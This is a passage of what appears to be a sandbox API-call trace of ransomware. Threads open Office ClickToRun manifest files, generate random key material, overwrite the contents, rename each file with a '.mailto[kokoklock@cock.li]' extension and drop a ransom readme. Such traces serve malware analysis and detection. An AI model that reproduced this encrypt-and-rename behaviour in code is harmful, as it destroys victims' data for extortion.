0x7dd04b26 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x433b569b [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xc4c947e5 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x39a222ba [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xe2ea082b [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x5e6b8034 [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x6b6096be [0073.773] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0xd295ba48 [0073.774] RtlRandom (in: Seed=0x17ebfe70 | out: Seed=0x17ebfe70) returned 0x9d148660 [0073.787] ReadFile (in: hFile=0x94c, lpBuffer=0x348e3f8, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x17ebfe64, lpOverlapped=0x0 | out: lpBuffer=0x348e3f8*, lpNumberOfBytesRead=0x17ebfe64*=0x7fa, lpOverlapped=0x0) returned 1 [0073.787] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x17ebfe2c | out: lpNewFilePointer=0x0) returned 1 [0073.787] WriteFile (in: hFile=0x94c, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x7fa, lpNumberOfBytesWritten=0x17ebfe60, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x17ebfe60*=0x7fa, lpOverlapped=0x0) returned 1 [0073.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eff0 [0073.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e140 [0073.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e140) returned 1 [0073.787] WriteFile (in: hFile=0x94c, lpBuffer=0x341eff0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17ebfe5c, lpOverlapped=0x0 | out: lpBuffer=0x341eff0*, lpNumberOfBytesWritten=0x17ebfe5c*=0x20, lpOverlapped=0x0) returned 1 [0073.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eff0) returned 1 [0073.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0073.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e3f8) returned 1 [0073.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.788] WriteFile (in: hFile=0x94c, lpBuffer=0x341e168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17ebfe88, lpOverlapped=0x0 | out: lpBuffer=0x341e168*, lpNumberOfBytesWritten=0x17ebfe88*=0x8, lpOverlapped=0x0) returned 1 [0073.788] WriteFile (in: hFile=0x94c, lpBuffer=0x17ebfea0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17ebfe88, lpOverlapped=0x0 | out: lpBuffer=0x17ebfea0*, lpNumberOfBytesWritten=0x17ebfe88*=0x4, lpOverlapped=0x0) returned 1 [0073.788] WriteFile (in: hFile=0x94c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17ebfe88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17ebfe88*=0x4, lpOverlapped=0x0) returned 1 [0073.788] WriteFile (in: hFile=0x94c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17ebfe88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17ebfe88*=0x6c, lpOverlapped=0x0) returned 1 [0073.788] WriteFile (in: hFile=0x94c, lpBuffer=0x341e1b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17ebfe88, lpOverlapped=0x0 | out: lpBuffer=0x341e1b8*, lpNumberOfBytesWritten=0x17ebfe88*=0x20, lpOverlapped=0x0) returned 1 [0073.788] WriteFile (in: hFile=0x94c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17ebfe88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17ebfe88*=0x4, lpOverlapped=0x0) returned 1 [0073.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1b8) returned 1 [0073.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4d8) returned 1 [0073.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0073.789] CloseHandle (hObject=0x94c) returned 1 [0073.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x134) returned 0x341da40 [0073.789] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" [0073.789] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.789] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.041] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.041] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.041] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.041] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.042] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.042] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2298) returned 1 [0074.042] RtlExitUserThread (Status=0x1) Thread: id = 611 os_tid = 0x1368 [0073.643] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml")) returned 0x20 [0073.643] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.643] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x950 [0073.644] GetFileSizeEx (in: hFile=0x950, lpFileSize=0x17f3fc00 | out: lpFileSize=0x17f3fc00*=97084) returned 1 [0073.644] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x17b38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.644] ReadFile (in: hFile=0x950, lpBuffer=0x17f3fbd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17f3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x17f3fbd4*, lpNumberOfBytesRead=0x17f3fbd0*=0x4, lpOverlapped=0x0) returned 1 [0073.716] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee10 [0073.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee38 [0073.716] NtQuerySystemTime (in: CurrentTime=0x17f3fbac | out: CurrentTime=0x17f3fbac*=132121176316127785) returned 0x0 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xb4f43a8a [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x3334b28c [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xadc5771f [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xbcef927e [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xec6f18e3 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x7fe4e55c [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x16366f4e [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x7a40ef94 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x3067cce1 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x213e9555 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x79e7f8f0 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x4dde0d8d [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x74638484 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x2e866e76 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x529240ac [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xa4516a55 [0073.716] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x79923c02 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x2c5a4fd5 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x4328d007 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xc084f4d6 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x374405ba [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x35e93df3 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x2927d7f8 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x4cb24f49 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x37c46951 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xcc166073 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x372504f2 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x48e42540 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x55f65b35 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0x409f0ab5 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xed62b167 [0073.717] RtlRandom (in: Seed=0x17f3fbb8 | out: Seed=0x17f3fbb8) returned 0xce51bf7c [0073.731] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.732] ReadFile (in: hFile=0x950, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17f3fb84, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x17f3fb84*=0x4096, lpOverlapped=0x0) returned 1 [0073.878] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdaa8 [0073.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0073.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0073.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0073.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6690 [0073.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e140 [0073.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e398 [0073.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e398) returned 1 [0073.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0073.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdaa8) returned 1 [0073.880] WriteFile (in: hFile=0x950, lpBuffer=0x34b6690*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17f3fb84, lpOverlapped=0x0 | out: lpBuffer=0x34b6690*, lpNumberOfBytesWritten=0x17f3fb84*=0x4096, lpOverlapped=0x0) returned 1 [0073.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6690) returned 1 [0073.880] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x17b3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.880] WriteFile (in: hFile=0x950, lpBuffer=0x341e140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17f3fbbc, lpOverlapped=0x0 | out: lpBuffer=0x341e140*, lpNumberOfBytesWritten=0x17f3fbbc*=0x20, lpOverlapped=0x0) returned 1 [0073.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e140) returned 1 [0073.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.880] WriteFile (in: hFile=0x950, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17f3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x17f3fbd0*=0x8, lpOverlapped=0x0) returned 1 [0073.880] WriteFile (in: hFile=0x950, lpBuffer=0x17f3fbe8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17f3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x17f3fbe8*, lpNumberOfBytesWritten=0x17f3fbd0*=0x4, lpOverlapped=0x0) returned 1 [0073.881] WriteFile (in: hFile=0x950, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17f3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17f3fbd0*=0x4, lpOverlapped=0x0) returned 1 [0073.881] WriteFile (in: hFile=0x950, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17f3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17f3fbd0*=0x6c, lpOverlapped=0x0) returned 1 [0073.881] WriteFile (in: hFile=0x950, lpBuffer=0x341ee10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17f3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x341ee10*, lpNumberOfBytesWritten=0x17f3fbd0*=0x20, lpOverlapped=0x0) returned 1 [0073.881] WriteFile (in: hFile=0x950, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17f3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17f3fbd0*=0x4, lpOverlapped=0x0) returned 1 [0073.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee10) returned 1 [0073.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec58) returned 1 [0073.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.881] CloseHandle (hObject=0x950) returned 1 [0073.881] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x33e2008 [0073.881] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" [0073.881] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0073.881] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.039] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.039] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.040] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.040] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.040] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.040] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.040] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2398) returned 1 [0074.040] RtlExitUserThread (Status=0x1) Thread: id = 612 os_tid = 0x136c [0073.645] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml")) returned 0x20 [0073.646] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.646] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x954 [0073.646] GetFileSizeEx (in: hFile=0x954, lpFileSize=0x17fbf898 | out: lpFileSize=0x17fbf898*=19018) returned 1 [0073.646] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x4a46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.646] ReadFile (in: hFile=0x954, lpBuffer=0x17fbf86c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17fbf868, lpOverlapped=0x0 | out: lpBuffer=0x17fbf86c*, lpNumberOfBytesRead=0x17fbf868*=0x4, lpOverlapped=0x0) returned 1 [0073.652] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb68 [0073.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee10 [0073.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ed20 [0073.652] NtQuerySystemTime (in: CurrentTime=0x17fbf844 | out: CurrentTime=0x17fbf844*=132121176315502545) returned 0x0 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xa94234eb [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x88f1bb1b [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x330ed720 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x6971907b [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xb52637e3 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x1a46f409 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x90c6cd03 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x1cd797a4 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xa0e8952d [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x5852e32 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xc5529ccc [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x47af71d6 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xe1e5a6d6 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xcc436a5e [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x1d1bec40 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x6c1bfc0c [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x8b21dce7 [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x313d0e3a [0073.652] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x66b9df5f [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x13eeb1ab [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xefc6c92f [0073.653] 